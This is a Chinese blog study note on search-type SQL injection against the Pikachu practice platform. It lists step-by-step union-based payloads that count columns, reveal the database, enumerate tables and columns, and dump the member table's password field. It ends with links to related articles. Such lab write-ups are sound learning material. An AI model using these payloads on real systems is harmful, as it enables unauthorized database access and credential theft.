SQL注入学习记录Pikachu漏洞练习平台 搜索型注入
2020-07-13 05:44
423 查看
一、搜索型注入简介与原理
1)简介一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:
其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。
2)原理$sql="select * from user where password like '%$pwd%' order by password";
“%”匹配任何字符,“like”的意思就是像。
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。
但是当有人输入这样的内容的时候:
'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。
二、Pikachu 搜索型注入
打开进入界面:
先输入单引号
',因为导致语句后的
%'没有闭合,所以会报错:
然后我们输入
'and 1=1 and '%'=',此时这句SQL语句就变成了这样:
'%'and 1=1 and '%'='%' order by password,此时就会出现:
%' and 1=1--'
' and 1=1#
%' and 1=1 and '%'='
这几句也可以达到同样的效果,将所有查询数据回显出来。
然后我们可以输入
' and 1=1 order by x#通过
order by x来确定字段数,输入
' and 1=1 order by 3#时返回了正常页面:
而输入
' and 1=1 order by 4#时就回显了报错:
证明字段数为3。
然后输入
%' and 1=2 union select 1,2,3#,回显了:
证明1,2,3都可以回显。
输入
%' and 1=2 union select 1,2,(database())#就可以爆出当前使用的数据库pikachu:
输入
%' and 1=2 union select 1,2,table_name from information_schema.columns where table_schema='pikachu'#,就得到了pikachu数据库下的所有表名:
接着随便选一个表,输入
%' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='member'#,得到member表下的所有字段名:
然后输入
%' and 1=2 union select 1,2,pw from pikachu.member#,就得到了字段pw的内容:
大概就是这么多了吧,继续加油!
相关文章推荐
- 个人学习笔记之Pikachu漏洞练习平台(暴力破解模块)
- 个人学习笔记之Pikachu漏洞练习平台(Cross-Site Scripting模块)
- 搜索型SQL及xx型注入漏洞练习
- Pikachu漏洞练习平台实验——CSRF(三)
- Pikachu漏洞练习平台实验——XSS(二)
- CTF/CTF练习平台 --SQL注入测试【sql宽字节注入与#,%23】
- pikachu漏洞测试平台之SQL注入(新手向)
- 嵌入式GUI学习记录之显示文本。平台:STwmWin
- java基础学习记录之for嵌套学习与练习一
- SQL注入天书之ASP注入漏洞全接触
- SQL注入天书之ASP注入漏洞全接触
- SQL注入天书 - ASP注入漏洞全接触(入门篇)
- SQL注入天书-ASP注入漏洞全接触(高级篇)
- 解决跨站脚本注入,跨站伪造用户请求,sql注入等http安全漏洞
- C Primer Plus 第六版编程练习第四章答案和记录一些学习历程
- 【安全牛学习笔记】KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)
- 小Y学习andrpid点滴记录一:使用adapter小练习
- SQL注入天书 - ASP注入漏洞全接触